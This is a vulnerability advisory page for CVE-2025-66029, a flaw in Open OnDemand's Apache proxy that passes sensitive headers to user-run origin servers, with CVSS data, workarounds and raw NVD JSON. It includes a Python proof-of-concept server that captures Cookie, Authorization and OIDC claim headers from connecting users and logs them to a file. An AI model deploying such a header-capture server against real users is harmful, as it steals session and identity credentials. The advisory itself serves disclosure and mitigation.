Security Vulnerability Report
中文
CVE-2025-66029 CVSS 7.6 HIGH

CVE-2025-66029

Published: 2025-12-17 23:16:04
Last Modified: 2026-02-18 19:42:13

Description

Open OnDemand provides remote web access to supercomputers. In versions 4.0.8 and prior, the Apache proxy allows sensitive headers to be passed to origin servers. This means malicious users can create an origin server on a compute node that record these headers when unsuspecting users connect to it. Maintainers anticipate a patch in a 4.1 release. Workarounds exist for 4.0.x versions. Using `custom_location_directives` in `ood_portal.yml` in version 4.0.x (not available for versions below 4.0) centers can unset and or edit these headers. Note that `OIDCPassClaimsAs both` is the default and centers can set `OIDCPassClaimsAs ` to `none` or `environment` to stop passing these headers to the client. Centers that have an OIDC provider with the `OIDCPassClaimsAs` with `none` or `environment` settings can adjust the settings using guidance provided in GHSA-2cwp-8g29-9q32 to unset the mod_auth_openidc_session cookies.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:osc:open_ondemand:*:*:*:*:*:*:*:* - VULNERABLE
Open OnDemand <= 4.0.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66029 PoC - Malicious Origin Server Header Capture import http.server import socketserver import json from datetime import datetime class HeaderCaptureHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Log all incoming headers (including sensitive ones) log_entry = { 'timestamp': datetime.now().isoformat(), 'client_ip': self.client_address[0], 'headers': dict(self.headers), 'path': self.path } # Capture sensitive headers sensitive_headers = [ 'Cookie', 'Authorization', 'X-OIDC-Claims', 'X-Auth-Token', 'OIDC_CLAIM_*' ] captured = [] for header_name, header_value in self.headers.items(): for sensitive in sensitive_headers: if sensitive.lower() in header_name.lower(): captured.append(f"{header_name}: {header_value}") if captured: print(f"[ALERT] Sensitive headers captured: {captured}") with open('captured_headers.log', 'a') as f: f.write(json.dumps(log_entry) + '\n') # Send response self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(b'<html><body>OK</body></html>') def log_message(self, format, *args): # Suppress default logging pass PORT = 8080 with socketserver.TCPServer(('', PORT), HeaderCaptureHandler) as httpd: print(f"Listening on port {PORT} for header capture...") httpd.serve_forever()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66029", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:16:04.407", "lastModified": "2026-02-18T19:42:12.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open OnDemand provides remote web access to supercomputers. In versions 4.0.8 and prior, the Apache proxy allows sensitive headers to be passed to origin servers. This means malicious users can create an origin server on a compute node that record these headers when unsuspecting users connect to it. Maintainers anticipate a patch in a 4.1 release. Workarounds exist for 4.0.x versions. Using `custom_location_directives` in `ood_portal.yml` in version 4.0.x (not available for versions below 4.0) centers can unset and or edit these headers. Note that `OIDCPassClaimsAs both` is the default and centers can set `OIDCPassClaimsAs ` to `none` or `environment` to stop passing these headers to the client. Centers that have an OIDC provider with the `OIDCPassClaimsAs` with `none` or `environment` settings can adjust the settings using guidance provided in GHSA-2cwp-8g29-9q32 to unset the mod_auth_openidc_session cookies."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}, {"lang": "en", "value": "CWE-523"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osc:open_ondemand:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.0.8", "matchCriteriaId": "B7F9CAB4-0D34-49C3-9693-F0B8C160D63A"}]}]}], "references": [{"url": "https://github.com/OSC/ondemand/security/advisories/GHSA-2cwp-8g29-9q32", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}